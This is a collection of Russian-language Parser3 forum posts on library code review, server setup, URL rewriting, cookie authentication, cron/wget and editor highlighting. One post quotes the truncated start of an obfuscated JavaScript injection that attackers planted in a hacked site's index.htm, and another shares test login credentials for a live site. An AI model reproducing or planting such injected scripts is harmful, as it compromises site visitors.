"62333","- не вижу необходимости таскать в каждом классе интерпретируемого языка много лишних букв. как минимум можно смело удалять из .p все упоминания меня. я переживу. если очень хочется -- можно оставить их в README :)\
\
- может тексты вынести, а комментарии написать на английском? я до сих пор мучаюсь из-за своих старых русских текстов/комментов в классах, хотя уже пару лет как перешел на UTF внутри.\
\
- \
[code]\
@today[]\
  ^pfAssert:fail[Вызов функции абстрактного класса.]    \
\
@now[]\
  ^pfAssert:fail[Вызов функции абстрактного класса.]    \
\
@year[sSource]\
  ^pfAssert:fail[Вызов функции абстрактного класса.]    \
[/code]\
\
прикольно конечно, но может...\
pfClass.p\
[code]\
$sAbstractMethodCall[Вызов функции абстрактного класса.]\
[/code]\
\
и потом где надо:\
[code]\
@ymd[sSource]\
^pfAssert:fail[$sAbstractMethodCall]\
[/code]\
\
- isEmail устарел. по крайней мере мне за то регулярное выражение, которое сейчас висит в pfString писали багрепорты раз в месяц. :) при этом есть pfValidate:isValidEmail с другим функционалом... \
\
- pfValidate:isExistingURL -- я бы взял в ^untaint[as-is]{} $aString\
\
- pfCache:_hash2table -- работает без описанных локальных переменных k и v и с рекурсивным вызовом чисто случайно :)\
это нехороший хак (переменная перезаписывается, но лишь после этого она не используется). не хорошо так делать. да и $v у нас есть в foreach-е, так что можно не писать $aHash.$k =>\
[code]\
@_hash2table[aHash;aParent][lUID;k;v]\
## Преобразует хэш строк в таблицу\
## Параметр aParent передавать не нужно\
  $result[^table::create{key	parent	value	isHash	uid}]\
  ^aHash.foreach[k;v]{\
 		$lUID[^math:uid64[]]\
 		^if(!def $aParent){$aParent[NULL]}\
  		^result.append{$k	$aParent	^if($v is hash){	1}{$v	0}	$lUID}\
  		^if($v is hash){\
  			^result.join[^_hash2table[$v;$lUID]]\
  		}\
  }\
[/code]\
\
до кучи можно изначальную пустую таблицу генерить разово в класс, и потом при необходимости копировать:\
$result[^table::create{key	parent	value	isHash	uid}]\
\
^if(!def $tEmpty){\
	$tEmpty[^table::create{key	parent	value	isHash	uid}]\
}\
$result[^table::create[$tEmpty]]\
\
я когда-то тестировал подобное, и копирование таблицы оказалось выгоднее, чем её создание на основании текста (и я остановился на варианте копирования), но это было давно.\
\
- pfCache:_table2hash\
[code]\
^result.add[$.[$lLevel.key][$lLevel.value]]\
[/code]\
=>\
[code]\
$result.[$lLevel.key][$lLevel.value]\
[/code]\
добавлять один ключ так быстрее. да и два тоже быстрее. я тестировал :)\
в варианте с .add сначала происходит создание хеша, потом его элемент(ы) переписываются. т.е. созданый хеш сразу-же становится не нужен. вариант добавления элемента сразу добавляет элемент."
"62334","Спасибо за замечания. Со многими вещами вполне согласен - поправлю.\
\
Коментарии на русском, потому что я не настолько знаю английский, чтобы писать на нем длинные тексты. Считаю, что лучше иметь внятное описание, чем заботится о кодировках.\
\
pfString:isEmail из новой верси, естественно, удалю. Просто pfValidate был написан совсем недавно.\
\
Про добавление поля в хеши я знаю, но делать инспекцию всего кода пока нет времени (пока я это сделал только в колекциях). \
\
p.s. Естественно библиотека будет развиваться. В версии 0.9.2 основной \"фичей\" будет работа с веб-формами."
"62335","В общем, у меня такая ситуация: я при помощи инструкции установил Parser на базовый пакет Денвера.\
Прописал нужные директивы в .htaccess. Когда я пытаюсь открыть http://somesite.com, сервер пишет что файл \\home\\somesite.com\\cgi-bin\\parser3\\index.html отсутствует.\
Но ведь нужно чтобы интерпретировались файлы из директории www...\
Что мне делать?"
"62336","... \"поверх\", если есть пакет денвера с уже встроенной последней версией?\
там все само встанет как надо (как правило)\
\
http://www.denwer.ru/dis/Base_Parser/"
"62337","А зачем качать то, что у меня есть?\
Ведь быстрее скачать только один Parser, а не весь пакет."
"62338","Вы уже тратите какое то время на решение проблем, хотя могли бы избежать их, переустановив Денвера, благо он прекрасно устанавливается \"поверх себя\" (что не избавляет от необходимости сделать резервную копию)\
\
Для решения вашей проблемы вы привели мало данных, нужен хотя бы ваш .htaccess и реальный путь до парсера\
\
Путь неверный, наверно должно быть так:\
\\home\\somesite.com\\cgi-bin\\parser3[b].exe[/b]\\index.html"
"62339","Понимаете, я ведь после создания и тестирования буду переносить сайт на реальный хостинг, поэтому я хочу научится ставить Parser «с нуля».\
\
\
Я такой путь тоже указывал.\
\
Мой .htaccess : \
\
Options -Indexes\
# назначение обработчиком .html страниц\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3\
\
# запрет на доступ к .p файлам, в основном, к auto.p\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>"
"62341","вы представляете как под виндой запускаются файлы без расширения? :)\
должно быть так (не стоит кстати парсер класть прямо в cgi-bin, дайте ему свой каталог):\
[code]AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser/parser3.exe[/code]\
\
а парсер должен быть по такому пути:\
[code]denwer/home/ваш_сайт/cgi-bin/parser/parser3.exe[/code]"
"62342","...и безрезультатно."
"62343","напишите:\
\
[code]с:\\denwer\\home\\ваш_сайт\\cgi-bin\\parser\\parser3.exe[/code]\
\
(имеется ввиду, что денвер стоит в c:\\denwer , иначе впишите свой путь)\
\
--есть результат?"
"62344","[quote]Приложению не удалось запустится, поскольку libxslt.dll не был найден.[/quote]"
"62346","Добавил отсутствующие библиотеки - всё заработало."
"62347","а заодно и libxml2\
\
и повторите процесс"
"62348","в корне лежит index.htm в котором текст про ошибку на сайте, сам движок работает через mod_rewrite на этот файл и контент выводится через postprocess, т.е. все работает не основываясь на том что написано в index.htm, если парсер нагнулся то видим текст про ошибку из него\
\
и все бы хорошо, но вот иногда машину хостера хакают и вставляют в этот index.htm код типа\
function nbsp() {var t,o,l,i,j;\
var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';\
\
можно ли сказать парсеру игнорировать текст index.htm?"
"62349","когда вы \"не соблюдаете половую гигиену\" и даёте резвиться на своём компьютере троянам, которые тырят ВАШ пароль от FTP.\
\
Если же вы \"половыми извращениями не страдаете, а наслаждаетесь\", т.е. троянов лечить не будете, сделайте финт ушами:\
\
0) \"вылечите\" index.htm\
1) переименуйте [i]index.htm[/i] в [i]index.parser[/i]\
2) исправьте \"[i]Action parser3-handler .htm[/i]\" в файле [i].htaccess[/i] на \"[i]Action parser3-handler .parser[/i]\"\
3) Вставьте в [i].htaccess[/i] строку \"[i]DirectoryIndex index.parser[/i]\"\
4) Создайте корневой файлик [i]index.htm[/i] с текстом \"<h1>Ну хоть пять раз меня заразите - от мЕне тут ничАво не зависитЬ</h1>\"\
5) Исправьте ваш рерайт, чтобы указывал не на index.htm, а на index.parser\
5) Для проверки откройте корневую страницу сайта. Издевательского текста выше вы и ваши посетители увидеть не должны."
"62350","краткое резюме:\
\
Если:\
- страниц примерно десятка два\
- сайтом занимаетесь вы\
- не нужно возлагать обязанности по поддержке на кого-то ещё (т.е. не нужна пресловутая \"админка\")\
- готовой админки, оттестированной на нескольких предыдущих проектах, нет\
обойдётесь файликами.\
\
Если перечисленное не выполняется - надо привлекать rewrite.\
\
Давайте далее не будем развивать тему - Миша прав, она не раз обсуждена."
"62351","спасибо хоть Вам за мнение :)\
меня смущает работа с .htaccess из админки.\
надо, чтобы человек, не знающий об это файле, мог редактировать редиректы. как это вы делаете? в Engine, как я понял, такая же ситуация."
"62352","показал, что этот вирус ищет файлы со словом  \"index\" в имени. Так что замените [i]index.htm[/i] на, например, [i]\"i_n_d_e_x.parser\"[/i] - и будет вам [i]Щастье[/i]"
"62353","напишите 1 единственный, пусть он все несуществующие адреса направляет в страницу-обрабочик, которая подумает и отдаст то, что нужно\
[code]RewriteEngine On\
RewriteBase /\
# прикрываем картинки\
RewriteCond %{HTTP_REFERER} !^$\
RewriteCond %{HTTP_REFERER} !^http://marketim/.*$ [NC]\
RewriteRule \\.(gif|jpg|bmp|png)$ - [F]\
#	все в индекс\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule . /process.html [L,QSA][/code]"
"62354","согласен. хорошо, пусть есть один редирект. тогда в разделе новостей на при вооде /news/год/месяц/день/ получим index.html?url=/news/год/месяц/день/, а мне надо index.html?url=/news/&year=год&month=месяц&day=день. есть предложения, как это сделать? это не только к разделу новостей, но и для интернет-магазина."
"62355","вам передается $request:query и $request:uri. Обычным сплитом разобрали строки, посмотрели что от нас хотят. Если хотят в том порядке, в котором мы можем отдать - отдаем страничку с переданными в нее параметрами. Если порядок не такой, какой мы ждем - 404.\
\
продолжая код, указанный постом выше\
process.html\
[code]################################################\
@main[][result]\
^if(^request:uri.match[process\\.html]){\
	^Lib:location[/404/]\
}{\
	^Request:process[]\
}\
# end of @main[][/code]\
\
Request.p\
[code]@CLASS\
Request\
\
################################################\
@auto[][sUri;tUri;sClearPath]\
$sQuery[$request:query]\
$sUri[$request:uri]\
$tUri[^sUri.split[?;lh]]\
$sPath[$tUri.0]\
$sClearPath[^sPath.trim[both;/]]\
$tBasePath[^sClearPath.split[/]]\
^if($tBasePath.piece eq \"ru\" || $tBasePath.piece eq \"en\" || $tBasePath.piece eq \"tr\"){\
	$sLanguage[$tBasePath.piece]\
}\
^if(def $sLanguage){\
	$tPath[^tBasePath.select(^tBasePath.line[] > 1)]\
	$sPath[/^if($tPath){^tPath.menu{$tPath.piece/}}]\
}{\
	$tPath[$tBasePath]\
}\
^tPath.offset(-1)\
^if(^tPath.piece.int(0)){\
	$iScrollerPage(^tPath.piece.int(0))\
	$tPath[^tPath.select(^tPath.line[] < ^tPath.count[])]\
	$sPath[/^if($tPath){^tPath.menu{$tPath.piece/}}]\
}{\
	^tPath.offset[set](0)\
}\
# end of @auto[]\
\
################################################\
@makePath[hParams]\
$result[^makeUri[\
	$.targetUrl[^if(def $hParams.sLanguage){/$hParams.sLanguage}/^tPath.menu{$tPath.piece/}^if($iScrollerPage && $iScrollerPage != $hParams.iScrollerPage){$iScrollerPage/}]\
	$.hExclude[\
		$.groupUri[]\
		$.itemID[]\
	]\
]]\
# end of @makePath[]\
\
################################################\
@process[][bFound;sGroupUri;iItemID]\
$bFound(0)\
^if(-f $sPath || -d $sPath){\
	$bFound(1)\
	^Lib:location[$sPath^makeUri[]]\
}{\
	^if($tPath){\
		^if($tPath.piece eq \"item\"){\
			$iItemID($iScrollerPage)\
			^if($iItemID){\
				$bFound(1)\
				^Lib:location[/?itemID=$iItemID]\
			}\
		}{\
			^tPath.menu{\
				$sGroupUri[$tPath.piece]\
			}\
			^if(def $sGroupUri){\
				$bFound(1)\
				^Lib:location[/?groupUri=$sGroupUri]\
			}\
		}\
	}\
}\
^if(!$bFound){\
	^Lib:location[/404/]\
}\
# end of @process[]\
\
################################################\
@makeUri[hParams][hFields]\
$hParams[^hash::create[$hParams]]\
$hFields[$hParams]\
$hFields[^hFields.union[$form:tables]]\
$hFields[^hFields.union[$form:fields]]\
^if(def $hParams.hExclude && $hParams.hExclude is \"hash\"){\
	^hFields.sub[$hParams.hExclude]\
	^hFields.sub[$.hExclude[]]\
}\
$sTarget[$hParams.targetUrl]\
^hFields.sub[$.targetUrl[]]\
$result[$sTarget^if($hFields){?^hFields.foreach[sField;uValue]{^if($uValue is \"table\"){^uValue.menu{$sField=^taint[uri][$uValue.field]}[&]}{$sField=^taint[uri][^if($uValue is \"file\"){^getNameFromFile[$uValue]}{$uValue}]}}[&]}]\
# end of @makeUri[]\
[/code]\
\
Объяснять не стану - думаю разберетесь. Код не идеален, т.к. сам только учусь использовать данный подход. Но на текущем проекте он работает идельно. Пока багов не нашел."
"62356","Писал я класс авторизации для своего сайта. Написал. При авторизации генерируется $apr1$ один запоминается в БД для данного аккаунта - второй выдаётся пользователю и ложится в кукис.\
\
В Firefox и Opera все работает корректно. В Internet Explorer - полная лажа. И понять не могу в чем проблема! Надеюсь на ваш опыт.\
\
Проверить можно тут:\
http://www.ndt.org.ua/rus/\
\
Ссылка для авторизации:\
http://www.ndt.org.ua/signin/"
"62357","У меня мои куки работают во всех 3 браузерах исправно. Ваши страницы проверять не стал. Покажите код, а не неработающую страницу. Может у вас просто отключены куки?"
"62359","Логин: bot\
Пароль: botbot"
"62360","...следующего содержания:\
[code]\
=$cookie:test=\
$cookie:test[^math:random(99999)]\
[/code]\
\
после этого убедиться, что они работают и ошибку надо искать в вашем коде. без кода делать нечего. с трёхстраничным кодом -- тоже. ищите, упрощайте, выводите отладочную информацию. только вы можете решить вашу проблему."
"62361","http://www.ndt.org.ua/signup/\
http://passport.yandex.ru/passport?mode=register\
\
Странно, на Яндексе работают :-)"
"62362","Функция, которая сохраняет и раздает кукисы...\
\
[code]\
####################################################################\
# Вход в систему\
@login[][tUser;sSession;sPath;sMessage]\
^if(!^logged[]){\
	^if(def $form:login && def $form:passwd){\
		$tUser[^passport:loadByLogin[$form:login]]\
		^if(def $tUser){\
			^if(^math:crypt[$form:passwd;$tUser.passwd] eq $tUser.passwd){\
				$sSession[^math:crypt[$form:login;^$apr1^$]]\
				$cookie:session[$.value[$sSession]$.domain[$MAIN:DOMAIN]^if(def $form:remember){$.expires(14)}{$.expires[session]}]\
				^sessionSet[$form:login;$sSession]\
				$sPath[^default[$form:path;/${MAIN:LANG}/]]\
				$sMessage[^default[$MAIN:PASSPORT_TEXT_WELCOME;Добро пожаловать], ^auth:userFullname[]]\
				<table width=\"100%\" border=\"0\" cellspacing=\"4\" cellpadding=\"5\" class=\"content\">\
					<tr>\
						<td><h1>$sMessage</h1></td>\
					</tr>\
				</table>\
#				$response:refresh[$.value[0]$.url[$path]]\
				^jsAction[$sMessage;$sPath]\
			}{\
				$sMessage[^default[$MAIN:PASSPORT_TEXT_DONTPASS;Неверная пара логин-пароль]]\
				^formLogin[$sMessage]\
				^jsAction[$sMessage]\
			}\
		}{\
			$sMessage[^default[$MAIN:PASSPORT_TEXT_DONTPASS;Нет такого пользователя или пароля]]\
			^formLogin[$sMessage]\
			^jsAction[$sMessage]\
		}\
	}{\
		^if(!def $form:login){\
			$sMessage[Не введен логин]\
		}\
		^if(!def $form:passwd){\
			$sMessage[Не введен пароль]\
		}\
		^formLogin[]\
	}\
}{\
	$sMessage[^default[$MAIN:PASSPORT_TEXT_LOGIN;Вы авторизированы], ^auth:userFullname[]]\
	<table width=\"100%\" border=\"0\" cellspacing=\"4\" cellpadding=\"5\" class=\"content\">\
		<tr>\
			<td><h1>$sMessage</h1></td>\
		</tr>\
	</table>\
	^jsAction[$sMessage]\
}\
# end @login[]\
\
####################################################################\
# Установка сессии\
@sessionSet[sLogin;sSession]\
^if(def $sLogin && def $sSession){\
	^MAIN:pSQL.void{\
		UPDATE\
			${MAIN:DB_NAME}_${sTABLE}\
		SET\
			`session`='$sSession'\
		WHERE\
			`nickname` = '$sLogin'\
	}\
}\
# end @sessionSet[]\
\
####################################################################\
# Очистка сессии\
@sessionClear[sSession]\
$sSession[^default[$sSession;$cookie:session]]\
^if(def $sSession){\
	^MAIN:pSQL.void{\
		UPDATE\
			${MAIN:DB_NAME}_${sTABLE}\
		SET\
			`session`=''\
		WHERE\
			`session` = '$sSession'\
	}\
}\
# end @sessionClear[]\
[/code]"
"62363","Вот страница для подтверждения:\
http://www.ndt.org.ua/rus/test/\
\
Как делается проверка авторизации?\
[code]\
####################################################################\
# Проверка авторизации\
@logged[]\
^if(def $cookie:session){\
	$result(^passport:load[$.sLoad[COUNT(*)]$.sWhere[session]$.sWhat[$cookie:session]])\
}{\
	$result(0)\
}\
#end @logged[]\
[/code]\
\
Из нужного места в скриптах я делаю проверку, типа:\
[code]\
^if(^logged[]){}{}\
[/code]"
"62365","Я задавал аналогичный вопрос в 2003 году, когда был глупее меня сегодняшнего - http://www.parser.ru/forum/?id=19660\
\
См. третий пункт в Мишином ответе."
"62367","Краткое описание того, что я делал году в 2003 (PHP, версия движка PDS v.2). \
\
В нем я реализовал чистоту адресов, т. е. минимальная передача get-параметров (только в искл. случаях). Не куда не смотрел, просто додумался. Сначала было гадко, затем лучше :-).\
\
В итоге: в базе ищутся макс. пути от корня, если у нас адрес [i]/about/events/2007/12/3415/[/i], то по порядку в базе ищутся about, [i]about/events[/i], естественно, [i]about/events/2007[/i] в базе нет, так как это уже параметр -- значит берем второй.\
\
Соответсвенно, ищем [i]имя модуля[/i] того раздела у которого [i]base_path[/i] идентичен [i]about/events[/i]. Если есть конец, в нашем случае [i]2007/12/3415[/i], в папке с именем модуля находим файл [i]url.preg[/i] (если он есть, иначе 404).\
\
Содержание [i]url.preg[/i] в данном случае \
\
[code]year=/^(\\d+)$/\
month=/^(\\d+)\\/(\\d+)$/\
year/month/issue=/^(\\d+)\\/(\\d+)\\/(\\d+)$/[/code]\
\
затем парсим, и устанавливаем псевдо-get параметры (если в адресной строке уже есть шняги типа /about/events/2007/12/3415/?year=2003, то переписываем их).\
\
А затем проверяем наличие года, в нем месяца и события и др. вещи. Обрабатываем 404, если что не так, или собираем буфер данными. Ну, и так далее...\
\
Стоит приложить чуточку времени и ума, и не стоит терять время и по каждой мелочи тут спрашивать: научите, расскажите, покажите."
"62368","Наткнулся на такую странность. При преобразовании дата смещается на 16 дней. Тестировал на лентах Яндекса.\
\
<pubDate>Tue, 28 Aug 2007 10:32:17 +0400</pubDate>\
\
[code]\
$date[^dtf:from822[$item_pubDate]]\
^dtf:format[%d %h %Y, %R;$date;$dtf:rr-locale]\
[/code]\
\
результат: 13 Августа 2007, 10:00\
\
[code]\
$date[^dtf:from822[$item_pubDate]] \
$nd[^date.roll[day](16)]  \
^dtf:format[%d %h %Y, %R;$date;$dtf:rr-locale]\
[/code]\
\
результат: 29 Августа 2007, 10:00\
\
Это глюк или я чегото не понимаю ?"
"62370","После установки 13 версии программы, почему-то возник глюк - конец комментария ^rem{} определяется не по   \"}\", а по \"}/\". Т.е., если после правой фигурной скобки нет слэша, весь текст метится как комментарий до следующей подобной комбинации. \
\
Ни у кого не возникало такой проблемы? Можно ли это решить домашними средствами?"
"62371","<html><body>\
<table width=100% height=100%>\
<tr><td align=center>\
\
<h1 align=center>Стартовая страница</h1>\
\
^eval(2+2)\
<br>\
\
<? \
	$sum = 5 + 2;\
	echo $sum;\
?>\
\
</td></tr>\
</table>\
\
</body></html>\
\
Возможно ли сделать так, чтобы результат выполнения этого кода имел вид(если да, то как прописать .htaccess):\
\
Стартовая страница\
4\
7"
"62373","http://www.fixpicture.org/index3.html\
\
Пожалуй что пока это лучший тулз который я видел, тем более что работает на продвигаемым мной NConvert от разработчиков XNview."
"62375","Скорее всего нет, мне интересно можно ли настроить сервер так, чтобы при загрузке страницы парсер видел свой код а пхп - свой."
"62376","всем спасибо за ответы.\
я согласен с AEM, правда, смущает то, что на поиск адреса будет уходить время, и если страниц в районе 500, то все может затянуться."
"62377","В apache2 можно настроить фильтры чтобы они обрабатывали страницу по очереди. Один фильтр парсер, другой php. Ну и вот всё..."
"62378","пасиб, мне все-таки ближе что-то типа engine.htm\
\
гигиена соблюдается, но странно доступ имеют я и арт-директор у обоих помимо сайтов которые периодически хакают, еще до кучи паролей забито, а ломаются одни и те же"
"62379","скопируйте и добавьте в файл wordfile.txt вместо вашей подсветки\
[code]/L12\"Parser 3\" Nocase HTML_LANG Line Comment = # Block Comment On = ^rem{ Block Comment Off = } Escape Char = \\ String Chars = \"' File Extensions = P HTML CONF htaccess CFG\
/Delimiters = ~!%&*()+=|\\{}[];\"'<> ,	.?\
/Function String = \"%@^([a-zA-Z0-9_;]+^[[a-zA-Z0-9_;]++^]^)[\"\
/Open Fold Strings = \"[\" \"{\"\
/Close Fold Strings = \"]\" \"}\"\
/C1\"Elements\"\
** <\
// />\
>\
<\
?>\
<? <?xml \
]]>\
<![CDATA[\
/C2\"Attributes\"\
abbr= absolute= action= active= adj= adjFrom= adjTo= afiicode= age= agent= align= alink= all= allusion= alt= am= ana= ancestor= anchored= arity= assertedValue= attribute= authority=\
background= background-color= baseForm= baseType= behavior below bgcolor= border=\
checked= calendar= cap= cause= cellpadding= cellspacing= cert= certainty= character= chars= children= class= classid= clear= code= codebase= codedCharSet= color= cols= colspan= complete= composite= content= content-role= coords= copyOf= corr= corresp= crdate= creator=\
data= date= dateCreated= dateUpdated= day= decls= definition= default= degree= delim= depend= depPtr= desc= descendant= descriptive= dim= dir= direct= direction discrete= doc= doctype= domains= dt:type= dt:values= dur=\
ed= encoding= end= end-indent= enjamb= entity= entityLoc= entitySet= entityStd= eol= exact= excl= exclude= expan= extendTarg= extent= evaluate= expand= event=\
face= feats= feature= field-width= first= first-line-start-indent= follow= following= font-family= font-family-name= font-posture= font-size= font-style= font-weight= for= form= frameborder= framespacing= from= fsd= full= function= fVal=\
gi= given= gradual= group= grpPtr=\
h= hand= has-value= height= hidden= hour= href= hspace= http-equiv=\
id= ident= image= included= inDegree= index= ink= inline= inst= interval= ismap= iso639= iterated=\
key=\
label= label2= lang= language= left-margin= lemma= length= level= level1= level2= level3= level4= lexpunc= lines= line-spacing= link= loc= location= locus= loop=\
macro= mailto= margin-bottom= margin-left= marginheight= margin-top= marginwidth= marker= marks= maxOccurs= mergedin= met= method= minOccurs= mlang= mode= multiple mutual= mutExcl=\
NSDef= n= name= names= new= next= nohref none= noresize norm= noshade notation= \
occurs= old= onblur onchange= onclick onfocus onload only= onmouseout onmouseover onsubmit= opt= ord= order= org= orig= origin= outDegree=\
padding= parent= part= passive= pattern= per= perf= place= pm= position= prefix= prev= previous= prompt=\
quadding=\
real= reason= refunit= reg= rel= rend= render= required= resp= result= rev= rhyme= right-margin= role= rows= rowspan=\
sameAs= sample= scheme= scope= scribe= script= scrolling= select= selected sex= shape= show= sic= sigil= since= size= social= some= sort= source= space= space-after= space-before= span= split= src= SrcDef= standalone= start start= start-indent= status= string= style= subtype= synch=\
TEI= TEIForm= target= targetEnd= targets= targFunc= targOrder= targType= terminal= text= text-align= theme= time= timezone= title= to= token= topmargin= trans= type=\
ucs-4= uniform= unit= url= usage= use=\
valign= value= valueTo= varSeq= version= vlink= vspace=\
weights= where= who= width= wit= wscale= wsd=\
xl-role= xl-title= xml:link= xmlns xmlns:dt xmlns:cmi\
zone=\
24hour=\
=\
-\
def\
and\
or\
xor\
&\
&&\
||\
|\
!\
!|\
~\
eq\
ne\
gt\
lt\
ge\
le\
is\
-d\
-f\
in\
/C3\"Brackets\"\
}\
{\
)\
(\
[\
]\
/C4\"Constructors\"\
^date::create ^date::now \
^file::load ^file::stat ^file::cgi ^file::exec \
^hash::create ^hash::sql\
^image::measure ^image::create ^image::load \
^table::create ^table::load ^table::sql \
^xdoc::create ^xdoc::load \
/C5\"Variables and objects\"\
** $ .\
/C6\"Method definition\"\
** @\
/C7\"Method call\"\
** ^\
/C8\"Static methods\"\
^date:calendar\
^file:delete ^file:find ^file:list ^file:move ^file:dirname ^file:basename\
^file:justname ^file:justext ^file:fullpath ^file:lock\
^int:sql ^double:sql ^void:sql ^string:sql\
^mail:send\
^math:random ^math:round ^math:floor ^math:ceiling ^math:trunc ^math:frac\
^math:abs ^math:sign ^math:degrees ^math:radians ^math:sin ^math:asin ^math:cos\
^math:acos ^math:tan ^math:atan ^math:exp ^math:log ^math:pow ^math:sqrt\
^math:crypt ^math:md5 ^math:uuid ^math:uid64\
^memory:compact\
^response:clear\
.int .double .trim .string .sql-string .menu .foreach .hash .inc .dec\
.left .right .mid ._keys .count .line .offset .limit .match .select .locate\
.sort .lower .upper .split .replace .save .append .join .length\
$result\
$status\
$response\
$request\
/C9\"Operators\"\
^eval ^if ^switch ^case ^for ^while ^connect ^use \
^cache ^process ^untaint ^taint ^try ^throw[/code]\
За исключением того же рем-а - если внутри комента идут много всяких скобок - УЕ загинается с подсветкой и не все светит как коммент."
"62380","'./lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can't open the module [<no type>]\
\
в /lib/ хостер скопировал\
libmysqlclient.a\
libmysqlclient.so\
libmysqlclient_r.a\
\
И всё равно не работает... инсталяшку брал freeBSD 6.1\
у хостера компы 64, но система 32...\
Не работает :(\
\
mysql-client-5.0.45 - сам скачивал и кидал все файлы из папки \\lib\\mysql\\ в папку \\cgi-bin\\lib\\\
не помогает... в auto.p пробовал менять на:\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so.15\
\
результатов нет... :(\
Подскажите в чём проблема может быть... :("
"62382","Есть свой сервер, установлен parser, есть cron.\
Надо чтобы в определенное время на чужом сервере была нажата ссылка типа http://chuzhoy.server/chto-to&nechto=0\
\
Делаю так: задал cron-команду для файла cron.html, в котором лежит директива $response:location[http://chuzhoy.server/chto-to&nechto=0]. Cron возвратил мне на мыло следующее:\
/home/my_server/www/cron.html: :location[http://chuzhoy.server/chto-to: not found\
Заметьте, cron указал неполную сслыку (без  &nechto=0)\
\
Как все-таки решить эту задачу?"
"62384","Есть чудесная команда wget, вызов коорой вам нужно запихнуть в cron. Wget умеет делать повторные запросы в случае неуспеха, умеет работать через proxy, умеет передавать get и post-запросы.\
\
Наберите \"wget -h\" или поищите в google по словам \"man wget\"."
"62386","Тупо возникла проблема, - нужно устранить лишние переводы строк в титле. \
\
Для вставки титла использую такой подход:[code]<title>^title[]</title>[/code]\
\
Сам метод (в зависимости от возращенного URI, выбирается соответствующее название):[code]@title[]\
$title[^table::load[/sections.txt]]\
^if(^title.locate[uri;$request:uri]){$title.name}[/code]\
\
Содержимое sections.txt:[code]name	uri\
Имя1	/name1/\
Имя2	/name2/\
Имя3	/name3/[/code]\
\
Проблема: В коде страницы, вместо прямого <title>название</title>, генерируеться, таким образом (ставяться 2 перевода строки, до названия и после):[code]<title>\
название\
</title>[/code]\
\
Примечание: вообщем-то всё это дело, осуществляется по выборке из БД, но для наглядности облегчил пример."
"62387","[code]@title[]\
$title[^table::load[/sections.txt]]\
^if(^title.locate[uri;$request:uri]){\
  $result[$title.name]\
}{\
  $result[Такой страницы нет!]\
}[/code]"
"62388","[code]\
<title>^title[]</title>\
\
@title[]\
$title[^table::load[/sections.txt]]\
^if(^title.locate[uri;$request:uri]){$result[^title.name.trim[]]}{$result[]}\
[/code]"
"62391","Не, удаление ^rem{} из списка операторов не помогает, это я уже пробовал. Впрочем, всё равно ещё раз проверил с Вашим вариантом подсветки - не помогло.\
\
Похоже, там какая-то внутренняя обработка rem ещё есть."
"62392","С мой стороны была - было написано /L13\"Parser 3\", и не обратил внимание, что уже есть блок правил подсветки с номером 13 для MySQL - они конфликтовали в итоге. Исправил на /L14 - всё стало нормально"
"62393","[quote]Системная переменная: result, явное определение   [3.1.5] \
Если явно объявить локальную переменную result, это укажет Parser, что в коде метода нужно проигнорировать все пробельные символы, если их явно не присваивают переменной result. [/quote]\
[code]\
@title[][result]\
$title[^table::load[/sections.txt]]\
^if(^title.locate[uri;$request:uri]){$title.name}\
[/code]"
"62397","Где можно посмотреть пример такой надстройки?"
"62399","wget, видимо хорошая штука, но...\
Набираю  в консоли wget http://chuzhoy.server/chto-to=a&nech-to1=b&nech-to2=c, а в ответ мне на сервер закачался файл chto-to=a (т.е. chto-to=a&nech-to1=b&nech-to2=c - не отработалось). Почему не работает &nech-to1=b&nech-to2=c, то, что после АМПЕРСАНДА?"
"62402","Как это так затянуться? Вы что?\
\
[i]/1/2/3/4/5/6/7/param1/param2/[/i]\
\
Рекурсивно (не есть гуд) только семь запросов, восьмой будет мимо ([i]1/2/3/4/5/6/7/param1[/i], такого пути в базе нет).\
\
Если хорошо подумать, то можно и до одного сократить (как -- не скажу). \
\
http://dev.mysql.com/doc/refman/5.1/en/regexp.html\
http://dev.mysql.com/doc/refman/5.1/en/order-by-optimization.html\
etc."
"62405","Если вы наберёте в консоли[code]echo Hello, & World[/code]ответом будет[quote]Hello, [/quote](всё, что после \"&\", пропадёт). Именно это вы и наблюдаете с cron и wget.\
\
Если предварить \"&\" обратным слэшем, \"\\\", то всё получится как надо:[code]echo Hello, \\& World[/code]даст нам[quote]Hello, & World[/quote]Такой же эффект даёт обрамление проблемного куска текста в одинарные кавычки:[code]echo 'Hello, & World'[/code]\
\
Чтение по теме: http://www.google.com/search?hl=en&q=bash+escape+ampersand+character\
\
Первая же ссылка даёт все ответы - http://www.geo.tu-freiberg.de/docs/apple/aux/aux_sh.html"
"62407","Есть папка, которая содержит конф. информацию. Раньше я ее клал вне веб-пространства - и все нормально работало - из веба в нее не залезть. Сменили хостера. Он дает одну корневую папку - в ней лежит сайт. Создавать папки вне корневой - нельзя.\
\
Теперь нужно эту папку закрыть. Причем не просто пермишн денайедом, а именно 404. Можно положить в ту папку index.html с кодом ^Lib:location[/404/], но как-то неспортивно. Я думал сделать это средствами mod_rewrite. Но код [code]\
RewriteRule ^/myfolder/.+$ - [F][/code]не работает. Апач тупо показывает содержимое папки.\
\
Как сделать?"
"62408","http://httpd.apache.org/docs/2.0/mod/mod_ext_filter.html"
"62410","перепробовал уже все вариации - не работает. Причем делал по доке.\
\
Пока сделал так:\
\
в закрываемую папку пишем .htaccess\
Order allow,deny\
Deny from all\
\
в корневом .htaccess пишем\
ErrorDocument 403 /404/\
\
в папке /404/ - говорим что такого файла нет - стандартная страница 404. Работает, но криво."
"62414","... флаг [F] отдает код 403 (Forbidden). Есть ли возможность отдать код 404? Вроде флага такого нет, и вариант с\
[code]\
RewriteRule ^myfolder/.* /nofolder/ [L][/code] входит в бесконечный цикл и отваливается."
"62417","мы сделаем это дело default'ом.\
вреда от этого никакого."
"62418","Возможно ли получить login и password?\
К сожалению нет методов чтения заголовков request, или есть?"
"62420","Решил организовать поиск по сайту с помощью xml.yandex\
В документации сказано, что сервер XML-поиска Яндекса принимает поисковые запросы по адресу http://xmlsearch.yandex.ru/xmlsearch/. Во входном потоке должен быть передан поисковый запрос в формате XML. \
Допустим, я сформировал запрос к яндексу в формате XML\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<request>\
